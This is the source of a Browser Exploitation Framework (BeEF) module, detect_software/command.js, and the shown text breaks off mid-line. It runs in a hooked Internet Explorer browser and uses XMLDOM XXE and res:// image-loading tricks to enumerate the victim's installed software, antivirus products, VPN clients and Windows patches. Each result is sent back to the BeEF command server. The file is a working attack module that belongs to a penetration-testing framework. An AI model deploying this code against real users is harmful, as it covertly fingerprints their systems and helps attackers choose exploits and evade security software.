Path: blob/master/modules/host/detect_software/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78if (!("ActiveXObject" in window)) {9beef.debug('[Detect Software] Unspported browser');10beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());11return false;12}1314var drive = 'C';15var win_dir = 'WINDOWS';16var program_dirs = ['Program Files', 'Program Files (x86)'];17var xmldom_supported = false;1819function detect_folder(path) {20var dtd = 'res://' + path;21var xml = '<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "' + dtd + '">';22var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");23xmlDoc.async = true;24try {25xmlDoc.loadXML(xml);26return false;27} catch (e) {28return true;29}30}3132// Test XMLDOM XXE technique33for (var i = 0; i < program_dirs.length; i++) {34var path = drive + ":\\" + program_dirs[i];35var result = detect_folder(path);36if (result) {37xmldom_supported = true;38break;39}40}4142// Detect software using XMLDOM XXE technique43var software = [44['7zip', '7-Zip'],45['Acoustica MP3 Audio Mixer', 'Acoustica MP3 Audio Mixer'],46['Autodesk AutoCAD 2015', 'Autodesk\\AutoCAD 2015'],47['Autodesk AutoCAD 2016', 'Autodesk\\AutoCAD 2016'],48['Adobe Help', 'Adobe\\Adobe Help Viewer'],49['Adobe Professional 7', 'Adobe\\Acrobat 7.0'],50['Adobe Reader 7', 'Adobe\\Reader 7.0\\Reader'],51['Adobe Reader 8', 'Adobe\\Reader 8.0\\Reader'],52['Adobe Reader 9', 'Adobe\\Reader 9.0\\Reader'],53['Adobe Reader 10', 'Adobe\\Reader 10.0\\Reader'],54['Adobe Reader 11', 'Adobe\\Reader 11.0\\Reader'],55['Ahead Nero', 'ahead'],56['AirPcap', 'Riverbed\\AirPcap'],57['Apple Software Update', 'Apple Software Update'],58['Azureus', 'azureus'],59['Baidu', 'baidu'],60['BitComet', 'BitComet'],61['BitSpirit', 'BitSpirit'],62['BioExplorer', 'BioExplorer'],63['Cisco Prime Data Center Network Manager', 'Cisco Systems\\dcm'],64['Citrix', 'Citrix'],65['DbVisualizer', 'DbVisualizer'],66['eMule', 'eMule'],67['eMule', 'easyMule2'],68['Flash MX 2004', 'Macromedia\\Flash MX 2004'],69['Flashget', 'FlashGet'],70['Flashget 3', 'FlashGet Network\\FlashGet 3'],71['FoxIt Reader', 'Foxit Software'],72['FoxIt Reader', 'Foxit Reader'],73['Free Nokia Ringtone Converter', 'Free Nokia Ringtone Converter'],74['Git', 'Git'],75['Gnome Music Player Client', 'Gnome Music Player Client'],76['GnuPG', 'GNU\\GnuPG'],77['Heroku', 'Heroku'],78['HP AutoPass License Server', 'HP\\HP AutoPass License Server'],79['HP TRIM', 'Hewlett-Packard\\HP TRIM'],80['IceWeasel', 'IceWeasel'],81['IncredibleCharts', 'IncredibleCharts'],82['Internet Explorer', 'Internet Explorer'],83['iTunes', 'iTunes'],84['Java JRE 6', 'Java\\jre6'],85['Java JRE 7', 'Java\\jre7'],86['Java JRE 8', 'Java\\jre8'],87['JetBrains dotPeek', 'JetBrains\\dotPeek'],88['Juniper Network Connect 8.1', 'Juniper Networks\\Network Connect 8.1'],89['JXplorer', 'jxplorer'],90['Lexmark Markvision Enterprise', 'Lexmark\\Markvision Enterprise'],91['Magellan MapSend Lite', 'Magellan\MapSend Lite'],92['Microsoft Baseline Security Analyzer 2', 'Microsoft Baseline Security Analyzer 2'],93['Microsoft Live Meeting 7', 'Microsoft Office\\live meeting 7'],94['Microsoft SQL Server', 'Microsoft SQL Server'],95['Microsoft SQL Server Compact Edition', 'Microsoft SQL Server Compact Edition'],96['Microsoft Virtual PC', 'Microsoft Virtual PC'],97['Microsoft Visual Studio 8', 'Microsoft Visual Studio 8'],98['Microsoft Visual Studio 9', 'Microsoft Visual Studio 9'],99['Microsoft Visual Studio 10', 'Microsoft Visual Studio 10'],100['Microsoft Visual Studio 11', 'Microsoft Visual Studio 11'],101['Microsoft Visual Studio 12', 'Microsoft Visual Studio 12'],102['mIRC', 'mIRC'],103['Mozilla Firefox', 'Mozilla Firefox'],104['MSN Messenger', 'Messenger'],105['NipperStudio', 'NipperStudio'],106['KeePass Password Safe 2', 'KeePass Password Safe 2'],107['NetBeans 8.1', 'NetBeans 8.1'],108['NeuroServer', 'NeuroServer'],109['Nokia PC Suite', 'Nokia\\Connectivity Cable Driver'],110['Notepad Plus Plus', 'Notepad++'],111['Opera', 'Opera'],112['Oracle JavaFX 2.0 Runtime', 'Oracle\\JavaFX 2.0 Runtime'],113['Outlook Express', 'Outlook Express'],114['Paritech Pulse', 'Paritech\\Pulse'],115['PGP Desktop', 'PGP Corporation\\PGP Desktop'],116['Picasa2', 'picasa2'],117['Proxifier', 'Proxifier'],118['QuickTime', 'QuickTime'],119['QLogic SANsurfer', 'QLogic Corporation\SANsurfer'],120['radmin', 'Radmin'],121['Real VNC4', 'RealVNC\\VNC4'],122['RedGate .NET Reflector', 'Red Gate\\.NET Reflector'],123['Resource Hacker', 'Resource Hacker'],124['Safari', 'Safari'],125['SeaMonkey', 'SeaMonkey'],126['SiteKiosk', 'SiteKiosk'],127['Spark', 'Spark'],128['TeamSpeak 3 Client', 'TeamSpeak 3 Client'],129['TinaSoft Easy Cafe Server', 'TinaSoft\\Easy Cafe Server'],130['Trend Micro Deep Security Manager', 'Trend Micro\\Deep Security Manager'],131['TrueCrypt', 'TrueCrypt'],132['TopShare Portfolio Manager v2', 'TopShare Portfolio Manager V2'],133['Samsung USB Drivers for Mobile Phones', 'SAMSUNG\\USB Drivers'],134['Secure CRT', 'SecureCRT'],135['Serv—U', 'RhinoSoft.com\\Serv—U'],136['Skype', 'Skype\\Phone'],137['SoapUI 5.0.0', 'SmartBear\\SoapUI-5.0.0'],138['Thunder', 'Thunder Network\\Thunder'],139['Thunder', 'Thunder Network\\Thunder6'],140['Tencent QQDownload', 'Tencent\\QQDownload'],141['VLC', 'VideoLAN\\VLC'],142['Ultramon', 'ultramon\\ultramondesktop.exe'],143['Unreal Media Server', 'UnrealStreaming\\UMediaServer'],144['uTorrent', 'uTorrent'],145['VMware Workstation', 'vmware\\vmware workstation'],146['VMware Tools', 'VMware\\VMware Tools'],147['VMware Workstation', 'VMware\\VMware Workstation'],148['VirtualBox Guest Additions', 'Oracle\\VirtualBox Guest Additions'],149['Winamp', 'winamp'],150['Windows DVD Maker', 'DVD Maker'],151['Windows Journal', 'Windows Journal'],152['Windows Media Player', 'Windows Media Player'],153['Windows Mail', 'Windows Mail'],154['Windows Movie Maker', 'Movie Maker'],155['Windows NetMeeting', 'NetMeeting'],156['Windows Photo Viewer', 'Windows Photo Viewer'],157['WinHex', 'WinHex'],158['WinRAR', 'WinRAR'],159['WinZip', 'WinZip'],160['Wireshark', 'Wireshark'],161['WinPcap', 'WinPcap'],162['WinSCP', 'WinSCP'],163['XFire', 'xfire'],164['Xming', 'Xming X Server'],165['Yahoo Messenger', 'Yahoo!\\Messenger'],166167// AntiVirus168['360Safe', '360\\360Safe'],169['360Safe', '360Safe'],170['A-Squared Anti-Malware', 'A-Squared Anti-Malware'],171['Agnitum Outpost Security Suite Pro', 'Agnitum\\Outpost Security Suite Pro'],172['AhnLab', 'AhnLab'],173['ESET Smart Security', 'ESET\\ESET Smart Security'],174['ESTsoft ALYac Internet Security', 'ESTsoft\\ALYac'],175['AhnLab', 'AhnLab\\Smart Update Utility'],176['AhnLab V3 Internet Security Lite', 'AhnLab\\V3Lite'],177['Avast AntiVirus 4', 'Alwil Software\\Avast4'],178['Avast AntiVirus', 'AVAST Software\\Avast'],179['AVG 2012', 'AVG\\AVG2012'],180['AVG', 'AVG Secure Search'],181['Avira AntiVir Desktop', 'Avira\\AntiVir Desktop'],182['Avira AntiVir Personal Edition', 'Avira\\AntiVir PersonalEdition Classic'],183['BitDefender', 'BitDefender'],184['DrWeb AntiVirus', 'DrWeb'],185['eScan AntiVirus', 'eScan'],186['F-Secure ExploitShield', 'F-Secure\\ExploitShield'],187['F-Secure Internet Security', 'F-Secure Internet Security\\FSPS'],188['F-PROT Antivirus', 'FRISK Software\\F-PROT Antivirus for Windows'],189['Kaspersky Internet Security 2012', 'Kaspersky Lab\\Kaspersky Internet Security 2012'],190['Kaspersky Anti-Virus 2009', 'Kaspersky Lab\\Kaspersky Anti-Virus 2009'],191['Kaspersky Anti-Virus 2010', 'Kaspersky Lab\\Kaspersky Anti-Virus 2010'],192['Kaspersky Anti-Virus 2011', 'Kaspersky Lab\\Kaspersky Anti-Virus 2011'],193['Kaspersky Anti-Virus 2012', 'Kaspersky Lab\\Kaspersky Anti-Virus 2012'],194['Kaspersky Anti-Virus 2013', 'Kaspersky Lab\\Kaspersky Anti-Virus 2013'],195['Kaspersky Anti-Virus 2014', 'Kaspersky Lab\\Kaspersky Anti-Virus 2014'],196['Kaspersky Endpoint Security 8', 'Kaspersky Lab\\Kaspersky Endpoint Security 8 for Windows'],197['Kaspersky Internet Security 2010', 'Kaspersky Lab\\Kaspersky Internet Security 2010'],198['Kaspersky Internet Security 2009', 'Kaspersky Lab\\Kaspersky Internet Security 2009'],199['Kingsoft AntiVirus', 'KingSoft\\kingsoft antivirus'],200['IKARUS anti.virus', 'IKARUS\\anti.virus'],201['Immunet AntiVirus', 'Immunet'],202['JiangMin AntiVirus', 'JiangMin\\AntiVirus'],203['Micropoint AntiVirus', 'Micropoint'],204['Microsoft EMET 4.1', 'EMET 4.1'],205['Microsoft EMET 5.0', 'EMET 5.0'],206['McAfee Total Protection 2011', 'McAfeeMOBK'],207['McAfee Enterprise', 'McAfee\\VirusScan Enterprise'],208['McAfee Security Center', 'McAfee\\MSC'],209['Norman Scan Engine', 'Norman\\Nse'],210['Norton Internet Security', 'Norton Internet Security'],211['Norton AntiVirus', 'Norton AntiVirus'],212['nProtect Anti-Virus Spyware 3.0', 'INCAInternet\\nProtect Anti-Virus Spyware 3.0'],213['PC Tools Antivirus Software', 'PC Tools Antivirus Software'],214['Quick Heal Total Security', 'Quick Heal\\Quick Heal Total Security'],215['Sucop Antivirus', 'Sucop\\SecPlugin'],216['Rising AntiVirus', 'Rising\\RAV'],217['Rising AntiVirus', 'Rising\\RIS'],218['Rising Firewall', 'Rising\\RFW'],219['Sunbelt Software Personal Firewall', 'Sunbelt Software\\Personal Firewall'],220['Sophos Sophos Anti-Virus', 'Sophos\\Sophos Anti-Virus'],221['Sophos Client Firewall', 'Sophos\\Sophos Client Firewall'],222['SUPERAntiSpyware', 'SUPERAntiSpyware'],223['Symantec Endpoint Protection', 'Symantec\\Symantec Endpoint Protection'],224['Symantec Antivirus', 'symantec_client_security\\symantec antivirus'],225['Trend Micro Internet Security', 'Trend Micro\\Internet Security'],226['Trend Micro OfficeScan Client', 'Trend Micro\\OfficeScan Client'],227['VirusBuster', 'VirusBuster'],228['Windows Defender', 'Windows Defender'],229['ZoneAlarm', 'Zone Labs\\ZoneAlarm'],230231// Office232['Microsoft Office', 'Microsoft Office\\OFFICE'],233['Microsoft Office 10', 'Microsoft Office\\OFFICE10'],234['Microsoft Office 11', 'Microsoft Office\\OFFICE11'],235['Microsoft Office 12', 'Microsoft Office\\OFFICE12'],236['Microsoft Office 13', 'Microsoft Office\\OFFICE13'],237['Microsoft Office 14', 'Microsoft Office\\OFFICE14'],238['WPS Office', 'Kingsoft\\Kingsoft Office'],239['WPS Office Personal', 'Kingsoft\\WPS Office Personal'],240['WPS Office 2008', 'Kingsoft\\WPS Office 2008'],241['WPS Office 2009', 'Kingsoft\\WPS Office 2009'],242['WPS Office 2010', 'Kingsoft\\WPS Office 2010'],243244// Security245['Cain', 'Cain'],246['Echo Mirage', 'Echo Mirage'],247['Fiddler2', 'Fiddler2'],248['L0pht Crack 5', '@stake\\LC5'],249['Immunity Debugger', 'Immunity Inc\\Immunity Debugger'],250['Network Miner v2.1', 'NetworkMiner_2-1'],251['Nmap', 'nmap'],252253// VPN254['Checkpoint Endpoint Connect', 'Checkpoint\\Endpoint Connect'],255['Cisco AnyConnect Secure Mobility Client', 'Cisco AnyConnect Secure Mobility Client'],256['Cisco AnyConnect VPN Client', 'Cisco AnyConnect VPN Client'],257['Fortinet FortiClient', 'Fortinet\\FortiClient'],258['OpenVPN', 'OpenVPN']259];260261if (xmldom_supported) {262beef.debug('[Detect Software] Enumerating software...');263for (var i = 0; i < program_dirs.length; i++) {264for (var j = 0; j < software.length; j++) {265var path = drive + ":\\" + program_dirs[i] + "\\" + software[j][1];266var result = detect_folder(path);267if (result) {268beef.debug('[Detect Software] Found software: ' + path);269beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_software=" + software[j][0]);270}271}272}273}274275// Enumerate patches (Win XP only)276var patches = [277'KB2570947',278'KB2584146',279'KB2585542',280'KB2592799',281'KB2598479',282'KB2603381',283'KB2619339',284'KB2620712',285'KB2631813',286'KB2653956',287'KB2655992',288'KB2659262',289'KB2661637',290'KB2676562',291'KB2686509',292'KB2691442',293'KB2698365',294'KB2705219-v2',295'KB2712808',296'KB2719985',297'KB2723135-v2',298'KB2727528',299'KB2749655',300'KB2757638',301'KB2770660',302'KB2780091',303'KB2802968',304'KB2803821-v2_WM9',305'KB2807986',306'KB2813345',307'KB2820917',308'KB2834886',309'KB2847311',310'KB2850869',311'KB2859537',312'KB2862152',313'KB2862330',314'KB2862335',315'KB2864063',316'KB2868038',317'KB2868626',318'KB2876217',319'KB2876331',320'KB2892075',321'KB2893294',322'KB2898715',323'KB2900986',324'KB2904266',325'KB2909212',326'KB2914368',327'KB2916036',328'KB2922229',329'KB2929961',330'KB2930275',331'KB2934207',332'KB2936068',333'KB2964358',334'KB898461',335'KB923561',336'KB946648',337'KB950762',338'KB950974',339'KB951376-v2',340'KB951978',341'KB952004',342'KB952069_WM9',343'KB952287',344'KB952954',345'KB953155',346'KB954155_WM9',347'KB955759',348'KB956572',349'KB956844',350'KB959426',351'KB960803',352'KB960859',353'KB961118',354'KB968389',355'KB969059',356'KB970430',357'KB970483',358'KB971029',359'KB971657',360'KB972270',361'KB973507',362'KB973540_WM9',363'KB973815',364'KB973869',365'KB973904',366'KB974112',367'KB974318',368'KB974392',369'KB974571',370'KB975025',371'KB975467',372'KB975558_WM8',373'KB975560',374'KB975713',375'KB976323',376'KB977816',377'KB977914',378'KB978338',379'KB978542',380'KB978695_WM9',381'KB978706',382'KB979309',383'KB979482',384'KB979687',385'KB981997',386'KB982132',387'KB982665'388];389390if (xmldom_supported) {391beef.debug("[Detect Software] Enumerating installed patches...");392for (var i = 0; i < patches.length; i++) {393var path = drive + ":\\" + win_dir + "\\$NtUninstall" + patches[i] + "$";394var result = detect_folder(path);395if (result) {396beef.debug('[Detect Software] Found patch: ' + path);397beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_patches=" + patches[i]);398}399}400}401402// Skip software detection using 'res' scheme and EXE/DLL resource images403// if XMLDOM XXE technique worked404if (xmldom_supported) return;405406407408// Detect software using 'res' scheme and EXE/DLL resource images409var dom = beef.dom.createInvisibleIframe();410411// Enumerate patches (Win XP only)412var patches = [413["KB2964358", "mshtml.dll/2/2030"], // MS14-021414["KB2936068", "mshtmled.dll/2/2503"], // MS14-018415["KB2864063", "themeui.dll/2/120"], // MS13-071416["KB2859537", "ntkrpamp.exe/2/1"], // MS13-063417["KB2813345", "mstscax.dll/2/101"], // MS13-029418["KB2820917", "winsrv.dll/#2/#512"], // MS13-033419["KB2691442", "shell32.dll/2/130"], // MS12-048420["KB2676562", "ntkrpamp.exe/2/1"], // MS12-034421["KB2506212", "mfc42.dll/#2/#26567"], // MS11-024422["KB2483185", "shell32.dll/2/130"], // MS11-006423["KB2481109", "mstsc.exe/#2/#620"], // MS11-017424["KB2443105", "isign32.dll/2/#101"], // MS10-097425["KB2393802", "ntkrnlpa.exe/2/#1"], // MS11-011426["KB2387149", "mfc40.dll/#2/#26567"], // MS10-074427["KB2296011", "comctl32.dll/#2/#120"], // MS10-081428["KB979687", "wordpad.exe/#2/#131"], // MS10-083429["KB978706", "mspaint.exe/#2/#102"], // MS10-005430["KB977914", "iyuv_32.dll/2/INDEOLOGO"], // MS10-013431["KB973869", "dhtmled.ocx/#2/#1"] // MS09-037432];433434beef.debug("[Detect Software] Enumerating installed patches...");435for (var i=0; i<patches.length; i++) {436var img = new Image;437img.title = patches[i][0];438img.src = "res://" + drive + ":\\" + win_dir + "\\$NtUninstall" + patches[i][0] + "$\\" + patches[i][1];439img.onload = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_patches=" + this.title); dom.removeChild(this); }440img.onerror= function() { dom.removeChild(this); }441dom.appendChild(img);442}443444// Enumerate software445var software = [446["7zip", "7-Zip\\7zFM.exe/2/2002"],447["Adobe Help", "Adobe\\Adobe Help Viewer\\1.0\\ahv.exe/#2/#132"],448["Baidu", "baidu\\Baidu Hi\\BaiduHi.exe/#2/#152"],449["Cain", "Cain\\UNWISE.EXE/2/106"],450["Echo Mirage", "Echo Mirage\\unins000.exe/2/DISKIMAGE"],451["FoxIt Reader", "Foxit Software\\Foxit Reader\\Foxit Reader.exe/2/257"],452["FoxIt Reader", "Foxit Reader\\Foxit Reader.exe/#2/#484"],453["Internet Explorer", "Internet Explorer\\iedvtool.dll/2/4000"],454["Outlook Express", "Outlook Express\\msoeres.dll/2/1"],455["KeePass Password Safe 2", "KeePass Password Safe 2\\unins000.exe/2/DISKIMAGE"],456["Nokia PC Suite", "Nokia\\Connectivity Cable Driver\\nmwcdcocls.dll/2/131"],457["Notepad Plus Plus", "Notepad++\\uninstall.exe/2/110"],458["OpenVPN", "OpenVPN\\Uninstall.exe/2/110"],459["Oracle JavaFX 2.0 Runtime", "Oracle\\JavaFX 2.0 Runtime\\bin\\eula.dll/2/204"],460["Resource Hacker", "Resource Hacker\\ResHacker.exe/2/128"],461["Samsung USB Drivers for Mobile Phones", "SAMSUNG\\USB Drivers\\Uninstall.exe/2/132"],462["Tencent QQDownload", "Tencent\\QQDownload\\QQDownload.exe/2/132"],463["QuickTime", "QuickTime\\QTinfo.exe/2/101"],464["QuickTime", "QuickTime\\quicktimeplayer.exe/#2/#403"],465["VLC", "VideoLAN\\VLC\\npvlc.dll/2/3"],466["Immunity Debugger", "Immunity Inc\\Immunity Debugger\\ImmunityDebugger.exe/2/GOTO"],467["Java JRE 6", "Java\\jre6\\bin\\awt.dll/2/CHECK_BITMAP"],468["Java JRE 7", "Java\\jre7\\bin\\awt.dll/2/CHECK_BITMAP"],469["Java JRE 8", "Java\\jre8\\bin\\awt.dll/2/CHECK_BITMAP"],470["VMware Tools", "VMware\\VMware Tools\\TPVCGatewaydeu.dll/2/30994"],471["VMware Tools", "VMware\\VMware Tools\\TPAutoConnSvc.exe/#2/30995"],472["VMware Workstation", "VMware\\VMware Workstation\\vmplayer.exe/#2/5"],473["VMware Workstation", "VMware\\VMware Workstation\\vmware.exe/#2/#508"],474["VirtualBox Guest Additions", "Oracle\\VirtualBox Guest Additions\\uninst.exe/#2/110"],475["Windows DVD Maker", "DVD Maker\\DVDMaker.exe/2/438"],476["Windows Journal", "Windows Journal\\Journal.exe/2/112"],477["Windows Mail", "Windows Mail\\msoeres.dll/2/1"],478["Windows Movie Maker", "Movie Maker\\wmm2res.dll/2/201"],479["Windows NetMeeting", "NetMeeting\\nmchat.dll/2/207"],480["Windows Photo Viewer", "Windows Photo Viewer\\PhotoViewer.dll/2/#51209"],481["WinRAR", "WinRAR\\WinRAR.exe/#2/#150"],482["Microsoft Virtual PC", "Microsoft Virtual PC\\Virtual PC.exe/#2/150"],483["Wireshark", "Wireshark\\uninstall.exe/2/110"],484485// AntiVirus software486["360Safe", '360\\360Safe\\360leakfixer.exe/#2/110'],487["360Safe", '360\\360Safe\\repairleakdll.dll/GIF/154'],488["360Safe", '360Safe\\live.dll/#2/#203'],489["360Safe", '360\\360safe\\360Safe.exe/2/131'],490["ESTsoft ALYac Internet Security", 'ESTsoft\\ALYac\\AYUpdate.aye/2/30994'],491["AhnLab", 'AhnLab\\Smart Update Utility\\SUpdate.exe/2/153'],492["AhnLab V3 Internet Security Lite", 'AhnLab\\V3Lite\\V3LTray.exe/2/132'],493["Avast AntiVirus 4", 'Alwil Software\\Avast4\\ashAvast.exe/2/267'],494["Avast AntiVirus", 'AVAST Software\\Avast\\aswAra.dll/#2/101'],495["AVG 2012", 'AVG\\AVG2012\\avguires.dll/#2/111'],496["Avira AntiVir Desktop", 'Avira\\AntiVir Desktop\\ccquarc.dll/#2/101'],497["Avira AntiVir Desktop", 'Avira\\AntiVir Desktop\\setup.dll/#2/132'],498["Avira AntiVir Personal Edition", 'Avira\\AntiVir PersonalEdition Classic\\setup.dll/#2/#132'],499["DrWeb AntiVirus", 'DrWeb\\spideragent.exe/#2/133'],500["Kaspersky Internet Security 2012", 'Kaspersky Lab\\Kaspersky Internet Security 2012\\basegui.ppl/#2'],501["Kaspersky Anti-Virus 2009", 'Kaspersky Lab\\Kaspersky Anti-Virus 2009\\oeas.dll/2/206'],502["Kaspersky Anti-Virus 2010", 'Kaspersky Lab\\Kaspersky Anti-Virus 2010\\shellex.dll/2/103'],503["Kaspersky Internet Security 2010", 'Kaspersky Lab\\Kaspersky Internet Security 2010\\shellex.dll/2/103'],504["Kaspersky Internet Security 2009", 'Kaspersky Lab\\Kaspersky Internet Security 2009\\oeas.dll/2/206'],505["Kingsoft AntiVirus", 'KingSoft\\kingsoft antivirus\\kislive.exe/#2/102'],506["Rising AntiVirus", 'Rising\\RAV\\RavUsb.exe/#2/112'],507["Rising AntiVirus", 'Rising\\Ris\\SetUp.exe/2/147'],508["ESET Smart Security", 'ESET\\ESET Smart Security\\eguiEpfw.dll/#2/1070'],509["JiangMin AntiVirus", 'JiangMin\\AntiVirus\\VirusBox.exe/#2/128'],510["JiangMin AntiVirus", 'JiangMin\\Install\\KVOL.exe/2/202'],511["Micropoint AntiVirus", 'Micropoint\\mfc90.dll/#2/30994'],512["McAfee Total Protection 2011", 'McAfeeMOBK\\BootStrap.exe/#2/30994'],513["McAfee Enterprise", 'McAfee\\VirusScan Enterprise\\graphics.dll/2/202'],514["McAfee Security Center", 'McAfee\\MSC\\mclgview.exe/2/129'],515["Norton Internet Security 16.0.0.125", 'Norton Internet Security\\Engine\\16.0.0.125\\SymSHAx9.dll/2/102'],516["Norton Internet Security 16.5.0.135", 'Norton Internet Security\\Engine\\16.5.0.135\\SymSHAx9.dll/2/102'],517["Norton AntiVirus 17.5.0.127", 'Norton AntiVirus\\MUI\\17.5.0.127\\images\\cssbase.dll/2/SCANTASKWZ_SCAN_ITEM_LIST.BMP'],518["NOD32 Smart Security", 'ESET\\ESET Smart Security\\eguiEpfw.dll/2/1070'],519["Trend Micro Internet Security", 'Trend Micro\\Internet Security\\UfSeAgnt.exe/2/30994'],520["Trend Micro OfficeScan Client", 'Trend Micro\\OfficeScan Client\\PcNTMon.exe/2/30994'],521["Sucop Antivirus", 'Sucop\\SecPlugin\\SecPlugin.dll/#2/211'],522["Sophos Client Firewall", 'Sophos\\Sophos Client Firewall\\logo_rc.dll/2/114'],523["Symantec Endpoint Protection", 'Symantec\\LiveUpdate\\AUPDATE.exe/2/129'],524["ZoneAlarm", 'Zone Labs\\ZoneAlarm\\alert.zap/2/176'],525526// The following signatures were taken from:527// https://www.alienvault.com/blogs/labs-research/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi528["Microsoft Office 97", "Microsoft Office\\OFFICE\\BINDER.EXE/16/1"],529["Microsoft Office 2000", "Microsoft Office\\OFFICE\\WINWORD.EXE/16/1"],530["Microsoft Office XP", "Microsoft Office\\OFFICE10\\WINWORD.EXE/16/1"],531["Microsoft Office 2003", "Microsoft Office\\OFFICE11\\WINWORD.EXE/16/1"],532["Microsoft Office 2007", "Microsoft Office\\OFFICE12\\WINWORD.EXE/16/1"],533["Microsoft Office 2010", "Microsoft Office\\OFFICE14\\WINWORD.EXE/16/1"],534["WPS Office Personal", "Kingsoft\\WPS Office Personal\\utility\\repairinst.exe/16/1"],535["WPS Office 2008", "Kingsoft\\WPS Office 2008\\utility\\repairinst.exe/16/1"],536["WPS Office 2009", "Kingsoft\\WPS Office 2009\\utility\\repairinst.exe/16/1"],537["WPS Office 2010", "Kingsoft\\WPS Office 2010\\utility\\repairinst.exe/16/1"],538["WinRar 3.5", "WinRAR\\WinRar.exe/6/90"],539["WinRar 3.6", "WinRAR\\WinRar.exe/6/91"],540["WinRar 3.7", "WinRAR\\WinRar.exe/6/92"],541["WinRar 3.8", "WinRAR\\WinRar.exe/6/93"],542["WinRar 3.9", "WinRAR\\RarExt.d11/24/2"],543["WinZip", "WinZip\\WinZip32.exe/16/1"],544["7zip", "7—Zip\\7zFm.exe/16/1"],545["Adobe Reader 7", "Adobe\\Reader 7.0\\Reader\\AXEParser.d11/16/1"],546["Adobe Professional 7", "Adobe\\Acrobat 7.0\\Acrobat\\Acrobat.dll/16/1"],547["Adobe Reader 8", "Adobe\\Reader 8.0\\Reader\\AdobeXMP.d11/16/1"],548["Adobe Reader 9", "Adobe\\Reader 9.0\\Reader\\AcroRd32.exe/16/1"],549["Adobe Reader 10", "Adobe\\Reader 10.0\\Reader\\AcroRd32.exe/16/1"],550["Skype", "Skype\\Phone\\Skype.exe/16/1"],551["Skype", "Skype\\Phone\\sktransfer.d11/16/1"],552["Microsoft Outlook 6", "Outlook Express\\msimn.exe/16/1"],553["Microsoft Outlook 2000", "Microsoft Office\\OFFICE\\OUTLOOK.EXE/16/1"],554["Microsoft Outlook XP", "Microsoft Office\\OFFICE10\\OUTLOOK.EXE/16/1"],555["Microsoft Outlook 2003", "Microsoft Office\\OFFICE11\\OUTLOOK.EXE/16/1"],556["Microsoft Outlook 2007", "Microsoft Office\\OFFICE12\\OUTLOOK.EXE/16/1"],557["Microsoft Outlook 2010", "Microsoft Office\\OFFICE14\\OUTLOOK.EXE/16/1"],558["Yahoo Messenger", "Yahoo!\\Messenger\\YahooMessenger.exe/16/1"],559["Yahoo Messenger 5", "Yahoo!\\Messenger\\YPager.exe/16/1"],560["Yahoo Messenger 6", "Yahoo!\\Messenger\\asw.d11/16/1"],561["Yahoo Messenger 7", "Yahoo!\\Messenger\\yxtldr.d11/16/1"],562["Yahoo Messenger 8", "Yahoo!\\Messenger\\P2PCE.d11/16/1"],563["Yahoo Messenger 9", "Yahoo!\\Messenger\\GIPSVoiceEngineDLL_MD.d11/16/1"],564["Yahoo Messenger 10", "Yahoo!\\Messenger\\ConnectionWizard.d11/16/1"],565["Flashget", "FlashGet\\flashget.exe/16/1"],566["Flashget", "FlashGet Network\\FlashGet 3\\Flashget3.exe/16/1"],567["Thunder", "Thunder Network\\Thunder\\Thunder.exe/16/1"],568["Thunder", "Thunder Network\\Thunder\\Program\\Thunder.exe/16/1"],569["Thunder", "Thunder Network\\Thunder6\\Thunder.exe/16/1"],570["eMule", "eMule\\emule.exe/16/1"],571["eMule", "easyMule2\\easyMule.exe/16/1"],572["BT", "BitComet\\BitComet.exe/16/1"],573["QDownload", "Tencent\\QQDownload\\QQDownload.exe/16/1"],574["BitSpirit", "BitSpirit\\BitSpirit.exe/16/1"],575["Serv—U", "RhinoSoft.com\\Serv—U\\Serv—U.exe/16/1"],576["radmin", "Radmin\\radmin.exe/16/1"],577578// The following signatures were taken from AttackAPI579// https://code.google.com/p/attackapi/source/browse/tags/attackapi-2.5.0b/lib/dom/signatures.js580['L0pht Crack 5', '@stake\\LC5\\lc5.exe/#2/#102'],581['Adobe Acrobat 7', 'adobe\\acrobat 7.0\\acrobat\\acrobat.dll/#2/#210'],582['Ahead Nero', 'ahead\\nero\\nero.exe/#2/NEROSESPLASH'],583['Azureus', 'azureus\\uninstall.exe/#2/#110'],584['Cain', 'cain\\uninstal.exe/#2/#106'],585['Citrix', 'Citrix\\icaweb32\\mfc30.dll/#2/#30989'],586['PGP Desktop', 'PGP Corporation\\PGP Desktop\\PGPdesk.exe/#2/#600'],587['Google Toolbar', 'Google\\googleToolbar1.dll/#2/#120'],588['Flash MX 2004', 'Macromedia\\Flash MX 2004\\flash.exe/#2/#4395'],589['MSN Messenger', 'Messenger\\msmsgs.exe/#2/#607'],590['Microsoft Live Meeting 7', 'Microsoft Office\\live meeting 7\\console\\7.5.2302.14\\pwresources_zh_tt.dll/#2/#9006'],591['Microsoft Excel 2003', 'Microsoft Office\\Office11\\excel.exe/#34/#904'],592['Microsoft Office 2003', 'Microsoft Office\\Office11\\1033\\MSOhelp.exe/#2/201'],593['Microsoft Visual Studio 8', 'Microsoft Visual Studio 8\\common7\\ide\\devenv.exe/#2/#6606'],594['Microsoft Movie Maker', 'Movie Maker\\moviemk.exe/RT_JPG/sample1'],595['Picasa2', 'picasa2\\picasa2.exe/#2/#138'],596['Quicktime', 'quicktime\\quicktimeplayer.exe/#2/#403'],597['Real VNC4', 'RealVNC\\VNC4\\vncviewer.exe/#2/#120'],598['OLE View', 'Resource Kit\\oleview.exe/#2/#2'],599['Secure CRT', 'SecureCRT\\SecureCRT.exe/#2/#224'],600['Symantec Antivirus', 'symantec_client_security\\symantec antivirus\\vpc32.exe/#2/#157'],601['Ultramon', 'ultramon\\ultramondesktop.exe/#2/#108'],602['VMware Workstation', 'vmware\\vmware workstation\\vmware.exe/#2/#508'],603['Winamp', 'winamp\\winamp.exe/#2/#109'],604['Windows Media Player', 'Windows Media Player\\wmsetsdk.exe/#2/#249']605];606607beef.debug("[Detect Software] Enumerating installed software...");608for (var dir=0;dir<program_dirs.length; dir++) {609for (var i=0; i<software.length; i++) {610var img = new Image;611img.title = software[i][0];612img.src = "res://" + drive + ":\\" + program_dirs[dir] + "\\" + software[i][1];613img.onload = function() { beef.net.send("<%= @command_url %>", 